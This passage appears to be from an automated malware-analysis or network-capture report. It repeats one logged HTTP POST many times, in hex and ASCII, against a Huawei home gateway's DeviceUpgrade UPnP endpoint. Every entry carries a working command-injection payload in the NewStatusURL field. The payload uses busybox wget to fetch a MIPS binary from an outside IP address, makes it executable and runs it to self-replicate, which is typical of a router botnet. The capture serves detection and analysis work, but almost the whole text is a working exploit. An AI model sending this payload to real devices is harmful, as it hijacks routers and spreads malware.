34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 